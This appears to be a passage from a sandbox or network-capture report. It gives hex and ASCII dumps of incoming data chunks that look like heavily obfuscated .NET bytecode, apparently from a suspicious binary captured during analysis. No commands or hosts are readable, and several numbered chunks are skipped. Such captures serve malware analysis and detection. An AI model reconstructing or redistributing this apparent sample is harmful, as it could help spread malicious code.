58 fe 0e 40 00 20 87 02 00 00 38 b0 a1 ff ff 38 22 ee ff ff 20 70 00 00 00 fe 0e 51 00 38 99 a1 ff ff 16 13 54 20 7f 02 00 00 
38 90 a1 ff ff 1f 1e 13 1d 20 d0 00 00 00 28 1f 01 00 06 3a 7d a1 ff ff 26 20 a9 01 00 00 38 72 a1 ff ff fe 0c 0a 00 20 1f 00 
00 00 20 5a 00 00 00 20 1d 00 00 00 58 9c 20 de 01 00 00 28 1f 01 00 06 39 4e a1 ff ff 26 20 a2 00 00 00 38 43 a1 ff ff 38 
b6 c8 ff ff 20 e9 01 00 00 38 34 a1 ff ff fe 0c 05 00 20 0a 00 00 00 20 cf 00 00 00 20 45 00 00 00 59 9c 20 c9 00 00 00 28 
1f 01 00 06 3a 10 a1 ff ff 
Data Ascii: & 8r 8  (:& +8  X@ 88" pQ8T 8 (:}& 8r  Z X (9N& 8C8 84   EY (:

2022-01-14 11:22:26 UTC 33 IN Data Raw: 20 71 02 00 00 28 1e 01 00 06 3a a7 9c ff ff 26 20 3d 00 00 00 38 9c 9c ff ff fe 0c 0a 00 20 0b 00 00 00 20 f1 00 
00 00 20 50 00 00 00 59 9c 20 43 02 00 00 fe 0e 51 00 38 75 9c ff ff 12 5b fe 15 30 00 00 02 20 34 01 00 00 38 67 9c ff ff 
38 86 c2 ff ff 20 14 01 00 00 38 58 9c ff ff 11 6d 28 e7 00 00 06 16 6a 28 e8 00 00 06 20 0d 00 00 00 28 1f 01 00 06 3a 3b 
9c ff ff 26 20 8a 00 00 00 38 30 9c ff ff 28 d4 00 00 06 1a 40 d2 01 00 00 20 22 00 00 00 38 1b 9c ff ff 20 dc 00 00 00 20 0d 
00 00 00 58 fe 0e 2c 00 20 72 01 00 00 38 02 9c ff ff fe 0c 0a 00 20 1e 00 00 00 fe 0c 40 00 9c 20 56 00 00 00 38 ea 9b ff f
f 11 4f 11 18 1a 5a 1e 12 09 28 b0 00 00 06 26 20 6d 01 00 00 38 d1 9b ff ff 28 ce 00 00 06 28 d7 00 00 06 28 d8 00 00 06 
13 62 20 06 00 00 00 28 1e 01 00 
Data Ascii:  q(:& =8   PY CQ8u[0 48g8 8Xm(j( (:;& 80(@ "8  X, r8 @ V8OZ(& m8(((b (

2022-01-14 11:22:26 UTC 35 IN Data Raw: 35 00 00 80 00 00 00 00 00 00 00 00 00 00 00 16 34 00 00 b2 01 00 00 c8 35 00 00 32 00 00 00 0a 00 00 01 00 
00 00 00 65 5a 00 00 87 00 00 00 ec 5a 00 00 32 00 00 00 0a 00 00 01 00 00 00 00 e2 59 00 00 51 00 00 00 33 5a 00 00 
0a 01 00 00 0a 00 00 01 02 00 00 00 0a 0c 00 00 03 01 00 00 0d 0d 00 00 30 00 00 00 00 00 00 00 00 00 00 00 1b 0b 00 
00 5c 04 00 00 77 0f 00 00 32 00 00 00 0a 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 36 00 00 01 6f 79 00 00 0a 
28 7a 00 00 0a 39 11 00 00 00 02 74 36 00 00 01 6f 79 00 00 0a 0a dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 0
2 74 36 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 75 00 00 0a 72 e5 0f 00 70 72 01 00 00 70 6f 7d 00 00 0a 28 7a 00 00 0a 
39 2a 00 00 00 02 74 36 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 
Data Ascii: 5452eZZ2YQ3Z0\w20t6oy(z9t6oy&t6o{o|ourprpo}(z9*t6o{o|

2022-01-14 11:22:26 UTC 36 IN Data Raw: 04 11 04 39 1d 00 00 00 09 1b 62 09 58 11 04 61 0d 11 05 18 d3 18 5a 58 13 05 11 05 49 25 13 04 3a cc ff ff ff 
08 09 20 65 8b 58 5d 5a 58 2a 00 00 00 13 30 04 00 c5 00 00 00 17 00 00 11 02 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 
02 39 06 00 00 00 03 3a 02 00 00 00 16 2a 16 0a 16 0b 16 0c 16 0d 02 7e 64 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 
0a 02 1a 6f 8f 00 00 0a 02 1b 6f 8f 00 00 0a 1e 62 60 02 1c 6f 8f 00 00 0a 1f 10 62 60 02 1d 6f 8f 00 00 0a 1f 18 62 60 0c 
03 7e 64 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0b 03 1a 6f 8f 00 00 0a 03 1b 6f 8f 00 00 0a 1e 62 60 03 1c 6f 8f 00 00 
0a 1f 10 62 60 03 1d 6f 8f 00 00 0a 1f 18 62 60 0d 06 3a 08 00 00 00 07 3a 02 00 00 00 16 2a 06 3a 07 00 00 00 02 28 b8 
00 00 06 0c 07 3a 07 00 00 00 03 28 b8 00 00 06 0d 08 
Data Ascii: 9bXaZXI%: eX]ZX*0(9*9:*~do9*oob`ob`ob`~do9*oob`ob`ob`::*:(:(

2022-01-14 11:22:26 UTC 37 IN Data Raw: 2a 4a fe 09 00 00 fe 09 01 00 fe 09 02 00 6f b1 00 00 0a 2a 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 2e 00 fe 09 
00 00 28 b2 00 00 0a 2a 1e 00 28 b3 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 29 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 
01 00 28 83 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a8 00 00 06 2a 2a fe 09 00 00 6f 35 01 00 06 2a 00 2e 00 fe 09 
00 00 28 b4 00 00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 0a 2a 2e 00 fe 09 00 00 28 b6 00 00 0a 2a 2a fe 09 00 00 6f b7 00 
00 0a 2a 00 2a fe 09 00 00 6f b8 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 0a 2a 2a fe 09 00 00 6f ba 00 
00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 4a 00 00 0a 2a 2a fe 09 00 00 6f 4c 00 00 0a 2a 00 2a fe 09 00 00 6f bb 00 
00 0a 2a 00 2a fe 09 00 00 6f bc 00 00 0a 2a 00 2a fe 
Data Ascii: *Jo*.(#*.(*(*:o)*>(*>(**o5*.(*.(*.(**o**o*>(**o*>(J**oL**o**o**

2022-01-14 11:22:26 UTC 39 IN Data Raw: 12 00 00 59 2d 00 00 01 0e 00 00 4c 21 00 00 e0 27 00 00 37 16 00 00 5e 05 00 00 b3 11 00 00 03 0f 00 00 9a 
02 00 00 c6 01 00 00 fb 11 00 00 c2 20 00 00 da 13 00 00 51 1a 00 00 11 0b 00 00 6c 16 00 00 92 1f 00 00 7d 0f 00 00 90 
2b 00 00 2b 1e 00 00 2d 03 00 00 ff 1a 00 00 a9 07 00 00 8b 1e 00 00 99 23 00 00 f5 24 00 00 50 16 00 00 3b 11 00 00 e7 
1f 00 00 54 0f 00 00 39 19 00 00 8c 03 00 00 36 2a 00 00 59 13 00 00 51 23 00 00 c2 2c 00 00 13 24 00 00 cd 05 00 00 bc 
2a 00 00 4e 06 00 00 4e 2b 00 00 de 2c 00 00 e5 26 00 00 89 22 00 00 9b 2e 00 00 05 00 00 00 81 25 00 00 43 2f 00 00 
0e 16 00 00 5f 2e 00 00 87 29 00 00 3a 0b 00 00 d2 0f 00 00 16 26 00 00 e0 1a 00 00 2f 07 00 00 53 1f 00 00 84 17 00 00 
2b 2f 00 00 2e 29 00 00 0d 13 00 00 2f 24 00 00 51 04 00 00 
Data Ascii: Y-L!'7^ Ql}++-#$P;T96*YQ#,$*NN+,&".%C/_.):&/S+/.)/$Q

2022-01-14 11:22:26 UTC 40 IN Data Raw: 04 00 00 00 20 74 00 00 00 58 fe 0e 28 00 20 53 01 00 00 38 f9 f7 ff ff fe 0c 0e 00 20 1e 00 00 00 fe 0c 29 00 
9c 20 dd 00 00 00 28 74 01 00 06 39 dc f7 ff ff 26 20 7d 00 00 00 38 d1 f7 ff ff fe 0c 0e 00 20 1e 00 00 00 fe 0c 29 00 9c 20 
fd 00 00 00 fe 0e 20 00 38 b1 f7 ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 7c 00 00 00 28 74 01 00 06 3a 98 f7 ff ff 
26 20 8b 00 00 00 38 8d f7 ff ff 16 13 14 20 5b 01 00 00 28 74 01 00 06 39 7b f7 ff ff 26 20 02 00 00 00 38 70 f7 ff ff 20 8b 
00 00 00 20 2e 00 00 00 59 fe 0e 29 00 20 c0 00 00 00 28 74 01 00 06 39 52 f7 ff ff 26 20 96 00 00 00 38 47 f7 ff ff 7e 77 
00 00 04 74 36 00 00 01 28 72 01 00 06 80 76 00 00 04 20 02 00 00 00 fe 0e 20 00 38 21 f7 ff ff fe 0c 0e 00 20 14 00 00 00 
fe 0c 29 00 9c 20 28 00 00 00 
Data Ascii:  tX( S8 ) (t9& }8 )  8 ( |(t:& 8 [(t9{& 8p  .Y) (t9R& 8G~wt6(rv  8! ) (

2022-01-14 11:22:26 UTC 41 IN Data Raw: 00 00 20 39 00 00 00 20 4d 00 00 00 58 9c 20 e3 00 00 00 28 74 01 00 06 39 9b f2 ff ff 26 20 8f 00 00 00 38 90 
f2 ff ff 38 aa 25 00 00 20 86 01 00 00 38 81 f2 ff ff 20 11 00 00 00 20 7a 00 00 00 58 fe 0e 29 00 20 8c 00 00 00 fe 0e 20 
00 38 60 f2 ff ff fe 0c 0e 00 20 0c 00 00 00 20 7b 00 00 00 20 39 00 00 00 58 9c 20 9e 00 00 00 28 73 01 00 06 3a 40 f2 ff 
ff 26 20 97 00 00 00 38 35 f2 ff ff fe 0c 0e 00 20 08 00 00 00 20 74 00 00 00 20 6b 00 00 00 59 9c 20 e0 00 00 00 38 16 f2 
ff ff 20 4d 00 00 00 20 5e 00 00 00 58 fe 0e 29 00 20 7b 00 00 00 38 fd f1 ff ff fe 0c 0e 00 20 04 00 00 00 20 1c 00 00 00 20 
18 00 00 00 58 9c 20 0b 01 00 00 38 de f1 ff ff 20 46 00 00 00 20 3b 00 00 00 58 fe 0e 29 00 20 70 00 00 00 28 74 01 00 
06 3a c0 f1 ff ff 26 20 c8 00 00 00 38 
Data Ascii:  9 MX (t9& 88% 8  zX)  8`  { 9X (s:@& 85  t kY 8 M ^X) {8   X 8 F ;X) p(t:& 8

2022-01-14 11:22:26 UTC 43 IN Data Raw: 00 20 00 00 00 00 fe 0c 28 00 9c 20 21 00 00 00 38 4a ed ff ff 20 aa 00 00 00 20 38 00 00 00 59 fe 0e 28 00 20 
76 00 00 00 28 73 01 00 06 3a 2c ed ff ff 26 20 1c 00 00 00 38 21 ed ff ff fe 0c 11 00 20 0e 00 00 00 20 80 00 00 00 20 2a 
00 00 00 59 9c 20 f1 00 00 00 38 02 ed ff ff fe 0c 0e 00 20 13 00 00 00 fe 0c 29 00 9c 20 d5 00 00 00 28 73 01 00 06 3a e5 
ec ff ff 26 20 03 00 00 00 38 da ec ff ff 11 06 8e 69 1a 5b 13 09 20 49 01 00 00 38 c8 ec ff ff fe 0c 0e 00 20 1c 00 00 00 20 
87 00 00 00 20 02 00 00 00 58 9c 20 00 00 00 00 28 73 01 00 06 3a a4 ec ff ff 26 20 00 00 00 00 38 99 ec ff ff fe 0c 0e 00 
20 0b 00 00 00 fe 0c 29 00 9c 20 8a 00 00 00 38 81 ec ff ff fe 0c 11 00 20 0d 00 00 00 20 92 00 00 00 20 30 00 00 00 59 
9c 20 04 01 00 00 38 62 ec ff ff fe 0c 
Data Ascii:  ( !8J  8Y( v(s:,& 8!   *Y 8 ) (s:& 8i[ I8   X (s:& 8 ) 8   0Y 8b
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2022-01-14 11:22:26 UTC 44 IN Data Raw: 00 00 00 20 01 00 00 00 20 2d 00 00 00 58 9c 20 b1 00 00 00 28 73 01 00 06 3a e8 e7 ff ff 26 20 7e 00 00 00 
38 dd e7 ff ff 20 e3 00 00 00 20 4b 00 00 00 59 fe 0e 28 00 20 31 01 00 00 38 c4 e7 ff ff fe 0c 11 00 20 0f 00 00 00 20 78 
00 00 00 20 17 00 00 00 58 9c 20 cb 00 00 00 38 a5 e7 ff ff fe 0c 0e 00 20 04 00 00 00 20 58 00 00 00 20 22 00 00 00 58 
9c 20 4f 00 00 00 38 86 e7 ff ff fe 0c 0e 00 20 00 00 00 00 fe 0c 29 00 9c 20 44 01 00 00 38 6e e7 ff ff fe 0c 0e 00 20 09 00 
00 00 fe 0c 29 00 9c 20 1f 00 00 00 28 74 01 00 06 3a 51 e7 ff ff 26 20 96 00 00 00 38 46 e7 ff ff 11 26 11 23 11 26 11 23 
91 11 1a 11 23 91 61 d2 9c 20 cc 00 00 00 38 2b e7 ff ff 20 08 00 00 00 20 52 00 00 00 58 fe 0e 29 00 20 0e 00 00 00 38 
12 e7 ff ff fe 0c 0e 00 20 0e 00 00 00 20 90 
Data Ascii:   -X (s:& ~8  KY( 18  x X 8  X "X O8 ) D8n ) (t:Q& 8F&#&##a 8+  RX) 8  

2022-01-14 11:22:26 UTC 45 IN Data Raw: 26 20 ab 00 00 00 38 a2 e2 ff ff fe 0c 0e 00 20 19 00 00 00 20 94 00 00 00 20 31 00 00 00 59 9c 20 7e 00 00 00 
38 83 e2 ff ff fe 0c 11 00 20 09 00 00 00 20 b9 00 00 00 20 3d 00 00 00 59 9c 20 db 00 00 00 38 64 e2 ff ff 20 2b 00 00 00 
20 12 00 00 00 58 fe 0e 28 00 20 27 00 00 00 28 73 01 00 06 3a 46 e2 ff ff 26 20 18 00 00 00 38 3b e2 ff ff fe 0c 0e 00 20 
0c 00 00 00 20 d6 00 00 00 20 47 00 00 00 59 9c 20 48 01 00 00 38 1c e2 ff ff fe 0c 0e 00 20 13 00 00 00 20 bf 00 00 00 
20 45 00 00 00 59 9c 20 1f 00 00 00 28 74 01 00 06 3a f8 e1 ff ff 26 20 88 00 00 00 38 ed e1 ff ff fe 0c 0e 00 20 11 00 00 
00 20 92 00 00 00 20 29 00 00 00 58 9c 20 8d 00 00 00 28 73 01 00 06 39 c9 e1 ff ff 26 20 23 01 00 00 38 be e1 ff ff 20 92 
00 00 00 20 4c 00 00 00 59 fe 0e 29 00 20 
Data Ascii: & 8   1Y ~8   =Y 8d + X( '(s:F& 8;   GY H8   EY (t:& 8   )X (s9& #8  LY) 

2022-01-14 11:22:26 UTC 47 IN Data Raw: 00 00 00 58 fe 0e 28 00 20 39 00 00 00 38 42 dd ff ff 00 11 15 11 25 28 6d 01 00 06 20 00 00 00 00 28 73 01 
00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 19 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd e1 06 00 
00 11 15 3a 53 00 00 00 20 00 00 00 00 28 73 01 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 12 00 45 
03 00 00 00 24 00 00 00 05 00 00 00 39 00 00 00 38 1f 00 00 00 38 2f 00 00 00 20 00 00 00 00 28 74 01 00 06 3a d6 ff ff ff 
26 20 00 00 00 00 38 cb ff ff ff 11 15 28 6e 01 00 06 20 02 00 00 00 fe 0e 12 00 38 b2 ff ff ff dc 20 bd 00 00 00 fe 0e 20 00 
38 85 dc ff ff 38 ae 12 00 00 20 37 00 00 00 38 7a dc ff ff fe 0c 11 00 20 0d 00 00 00 fe 0c 28 00 9c 20 14 01 00 00 28 74 
01 00 06 39 5d dc ff ff 26 20 11 01 00 00 38 52 
Data Ascii: X( 98B%(m (s9& 8E8:S (s9& 8E$988/ (t:& 8(n 8  88 78z ( (t9]& 8R

2022-01-14 11:22:26 UTC 48 IN Data Raw: d8 00 00 00 38 f2 d7 ff ff 20 d4 00 00 00 20 46 00 00 00 59 fe 0e 29 00 20 c9 00 00 00 28 74 01 00 06 3a d4 d7 
ff ff 26 20 f5 00 00 00 38 c9 d7 ff ff fe 0c 11 00 20 06 00 00 00 20 ce 00 00 00 20 44 00 00 00 59 9c 20 69 00 00 00 28 73 
01 00 06 39 a5 d7 ff ff 26 20 80 01 00 00 38 9a d7 ff ff fe 0c 0e 00 20 04 00 00 00 fe 0c 29 00 9c 20 81 01 00 00 38 82 d7 ff 
ff fe 0c 0e 00 20 09 00 00 00 20 34 00 00 00 20 68 00 00 00 58 9c 20 17 00 00 00 28 74 01 00 06 3a 5e d7 ff ff 26 20 34 01 
00 00 38 53 d7 ff ff 20 d7 00 00 00 20 47 00 00 00 59 fe 0e 29 00 20 3e 01 00 00 fe 0e 20 00 38 32 d7 ff ff fe 0c 0e 00 20 
16 00 00 00 fe 0c 29 00 9c 20 c6 00 00 00 28 73 01 00 06 3a 19 d7 ff ff 26 20 0b 00 00 00 38 0e d7 ff ff 11 14 11 05 3f bf 0
c 00 00 20 59 00 00 00 38 fb d6 ff 
Data Ascii: 8  FY) (t:& 8   DY i(s9& 8 ) 8  4 hX (t:^& 48S  GY) > 82 ) (s:& 8? Y8

2022-01-14 11:22:26 UTC 49 IN Data Raw: 18 00 00 00 28 73 01 00 06 39 94 d2 ff ff 26 20 72 00 00 00 38 89 d2 ff ff 20 32 00 00 00 20 35 00 00 00 58 fe 
0e 28 00 20 0c 01 00 00 38 70 d2 ff ff fe 0c 11 00 13 1a 20 51 00 00 00 28 73 01 00 06 39 5b d2 ff ff 26 20 4b 01 00 00 38 
50 d2 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 58 00 00 00 38 38 d2 ff ff 20 c5 00 00 00 20 39 00 00 00 58 fe 0e 
29 00 20 54 00 00 00 28 73 01 00 06 39 1a d2 ff ff 26 20 79 00 00 00 38 0f d2 ff ff fe 0c 0e 00 20 0f 00 00 00 fe 0c 29 00 9c 
20 d4 00 00 00 38 f7 d1 ff ff fe 0c 0e 00 20 06 00 00 00 fe 0c 29 00 9c 20 12 00 00 00 38 df d1 ff ff 20 0c 00 00 00 20 1a 00 
00 00 58 fe 0e 29 00 20 70 01 00 00 28 73 01 00 06 3a c1 d1 ff ff 26 20 b6 00 00 00 38 b6 d1 ff ff fe 0c 11 00 20 0b 00 00 
00 fe 0c 28 00 9c 20 1f 01 00 00 
Data Ascii: (s9& r8 2 5X( 8p Q(s9[& K8P ) X88  9X) T(s9& y8 ) 8 ) 8  X) p(s:& 8 ( 

2022-01-14 11:22:26 UTC 51 IN Data Raw: 28 74 01 00 06 3a 3f cd ff ff 26 20 52 00 00 00 38 34 cd ff ff fe 0c 0e 00 20 05 00 00 00 20 25 00 00 00 20 60 00 
00 00 58 9c 20 72 01 00 00 38 15 cd ff ff fe 0c 0e 00 20 11 00 00 00 fe 0c 29 00 9c 20 77 00 00 00 38 fd cc ff ff fe 0c 0e 00 
20 08 00 00 00 fe 0c 29 00 9c 20 27 01 00 00 fe 0e 20 00 38 dd cc ff ff 11 0b 11 09 3f 3b db ff ff 20 16 01 00 00 38 ce cc ff 
ff 11 08 1e 62 13 08 20 3b 00 00 00 fe 0e 20 00 38 b6 cc ff ff fe 0c 0e 00 20 1e 00 00 00 20 79 00 00 00 20 2e 00 00 00 58 
9c 20 55 01 00 00 fe 0e 20 00 38 93 cc ff ff 20 91 00 00 00 20 12 00 00 00 58 fe 0e 28 00 20 41 01 00 00 38 7e cc ff ff fe 
0c 11 00 20 07 00 00 00 fe 0c 28 00 9c 20 85 00 00 00 38 66 cc ff ff fe 0c 11 00 20 05 00 00 00 fe 0c 28 00 9c 20 7f 01 00 
00 28 74 01 00 06 39 49 cc ff 
Data Ascii: (t:?& R84  % `X r8 ) w8 ) ' 8?; 8b ; 8  y .X U 8  X( A8~ ( 8f ( (t9I

2022-01-14 11:22:26 UTC 52 IN Data Raw: 62 fe 0c 24 00 58 fe 0c 24 00 61 fe 0c 18 00 58 fe 0e 18 00 fe 0c 18 00 76 6c 6d 58 13 2a 20 92 00 00 00 38 c8 
c7 ff ff 00 00 01 10 00 00 02 00 d1 22 3a 0b 23 70 00 00 00 00 13 30 04 00 5c 00 00 00 00 00 00 00 02 d0 3a 00 00 02 28 
23 00 00 0a 6f 24 00 00 0a 28 cb 00 00 0a 39 3b 00 00 00 7e 78 00 00 04 3a 05 00 00 00 28 60 01 00 06 73 cc 00 00 0a 
25 02 6f cd 00 00 0a 6f ce 00 00 0a 25 7e 77 00 00 04 74 36 00 00 01 6f cd 00 00 0a 6f ce 00 00 0a 6f cf 00 00 0a 2a 02 6f 
cd 00 00 0a 2a 13 30 03 00 4d 00 00 00 1c 00 00 11 7e 78 00 00 04 3a 05 00 00 00 28 60 01 00 06 03 6f d0 00 00 0a 0a 
16 0b 38 21 00 00 00 7e 76 00 00 04 07 9a 06 28 8d 00 00 0a 39 0b 00 00 00 7e 77 00 00 04 74 36 00 00 01 2a 07 17 58 
0b 07 7e 76 00 00 04 8e 69 3f d2 ff ff ff 14 2a 00 00 00 8a 
Data Ascii: b$X$aXvlmX* 8":#p0\:(#o$(9;~x:(`s%oo%~wt6ooo*o*0M~x:(`o8!~v(9~wt6*X~vi?*

2022-01-14 11:22:26 UTC 53 IN Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 
14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 
00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 
00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 
00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 
00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 
30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 
Data Ascii: ***0*0*0*0*0*0*0*0*0*0*0*0*0*0*0

2022-01-14 11:22:26 UTC 55 IN Data Raw: 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 
2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 
00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 
00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 
04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 
00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 
00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 
Data Ascii: *0*0*0*0*0*0*0*0*0*0**0*0*0*0***

2022-01-14 11:22:26 UTC 59 IN Data Raw: 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 02 00 1d 00 49 66 00 13 00 00 00 00 12 00 00 17 
2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 
00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 
00 00 00 00 00 2a 01 1c 00 00 00 00 31 00 16 47 00 0b 0a 00 00 01 02 00 07 00 55 5c 00 13 00 00 00 00 03 30 08 00 04 
00 00 00 00 00 00 00 00 00 00 2a 41 34 00 00 02 00 00 00 e6 01 00 00 f7 00 00 00 dd 02 00 00 13 00 00 00 00 00 00 00 
00 00 00 00 59 00 00 00 12 00 00 00 6b 00 00 00 46 03 00 00 0f 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 
2a 41 1c 00 00 02 00 00 00 17 00 00 00 04 01 00 00 1b 01 00 00 13 00 00 00 
Data Ascii: 0*If**(*(*(*(*(*0*0*1GU\0*A4YkF0*A
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2022-01-14 11:22:26 UTC 63 IN Data Raw: 2a 00 42 28 a9 00 00 06 d0 b3 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f b7 05 00 06 2a 00 42 28 
a9 00 00 06 d0 b4 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f bb 05 00 06 2a 00 42 28 a9 00 00 06 d0 b5 00 
00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f bf 05 00 06 2a 00 42 28 a9 00 00 06 d0 b6 00 00 02 28 a0 00 00 06 
2a 00 00 00 2a 0e 01 0e 00 6f c3 05 00 06 2a 00 42 28 a9 00 00 06 d0 b7 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0
e 00 0e 01 0e 02 6f c7 05 00 06 2a 00 42 28 a9 00 00 06 d0 b8 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 
0e 02 6f cb 05 00 06 2a 00 42 28 a9 00 00 06 d0 b9 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f cf 05 00 
06 2a 00 00 00 42 28 a9 00 00 06 d0 ba 00 00 02 28 a0 00 00 06 2a 
Data Ascii: *B((**o*B((**o*B((**o*B((**o*B((*:o*B((*:o*B((*2o*B((*

2022-01-14 11:22:26 UTC 64 IN Data Raw: 6f 2b 06 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 d1 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 
0e 02 6f 2f 06 00 06 2a 00 42 28 a9 00 00 06 d0 d2 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 33 
06 00 06 2a 00 42 28 a9 00 00 06 d0 d3 00 00 02 28 a0 00 00 06 2a 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 37 06 00 06 
2a 00 42 28 a9 00 00 06 d0 d4 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3b 06 00 06 2a 00 00 00 42 
28 a9 00 00 06 d0 d5 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3f 06 00 06 2a 00 00 00 42 28 a9 00 0
0 06 d0 d6 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 43 06 00 06 2a 00 42 28 a9 00 00 06 d0 d7 00 00 02 28 
a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 47 06 00 06 2a 00 42 28 
Data Ascii: o+*B((*:o/*B((*:o3*B((*:o7*B((*2o;*B((*2o?*B((**oC*B((**oG*B(

2022-01-14 11:22:26 UTC 68 IN Data Raw: 00 01 00 00 47 16 00 00 2d 00 e9 01 23 06 00 01 00 00 5b 16 00 00 2d 00 ea 01 27 06 00 01 00 00 6f 16 00 00 
2d 00 eb 01 2b 06 00 01 00 00 83 16 00 00 2d 00 ec 01 2f 06 00 01 00 00 97 16 00 00 2d 00 ed 01 33 06 00 01 00 00 ab 
16 00 00 2d 00 ee 01 37 06 00 01 00 00 bf 16 00 00 2d 00 ef 01 3b 06 00 01 00 00 d3 16 00 00 2d 00 f0 01 3f 06 00 01 00 
00 e7 16 00 00 2d 00 f1 01 43 06 00 01 00 00 fb 16 00 00 2d 00 f2 01 47 06 13 00 16 17 3b 01 13 00 73 17 4e 01 06 00 f0 
17 75 01 11 00 91 18 7a 01 11 00 22 19 e9 01 16 00 59 19 ec 01 11 00 9a 19 ef 01 01 00 41 1a 01 02 11 00 82 1a 04 02 
16 00 af 1b 51 02 11 00 b6 1b 01 02 13 00 f5 1b 5f 02 01 00 d2 1d aa 02 13 00 d8 1d ae 02 16 00 af 1b bd 03 16 00 33 1f 
ce 03 16 00 af 1b dd 03 16 00 33 1f ee 03 16 00 3a 1f ee 03 16 
Data Ascii: G-#[-'o-+-/-3-7-;-?-C-G;sNuz"YAQ_33:

2022-01-14 11:22:26 UTC 72 IN Data Raw: 00 65 01 42 00 00 00 00 00 03 00 c6 01 24 18 a2 04 44 00 00 00 00 00 03 00 c6 01 4a 21 a7 04 46 00 00 00 00 
00 03 00 c6 01 7a 21 87 04 49 00 d0 23 00 00 00 00 91 18 0f 17 37 01 4b 00 00 00 00 00 03 00 86 18 54 00 65 01 4b 00 
00 00 00 00 03 00 c6 01 24 18 b4 04 4d 00 00 00 00 00 03 00 c6 01 4a 21 ca 04 5a 00 00 00 00 00 03 00 c6 01 7a 21 e6 
04 68 00 d8 23 00 00 00 00 91 18 0f 17 37 01 6c 00 00 00 00 00 03 00 86 18 54 00 65 01 6c 00 00 00 00 00 03 00 c6 01 2
4 18 f5 04 6e 00 00 00 00 00 03 00 c6 01 4a 21 fd 04 71 00 00 00 00 00 03 00 c6 01 7a 21 87 04 75 00 e0 23 00 00 00 00 
91 18 0f 17 37 01 77 00 00 00 00 00 03 00 86 18 54 00 65 01 77 00 00 00 00 00 03 00 c6 01 24 18 f5 04 79 00 00 00 00 00
03 00 c6 01 4a 21 fd 04 7c 00 00 00 00 00 03 00 c6 01 7a 21 87 04 
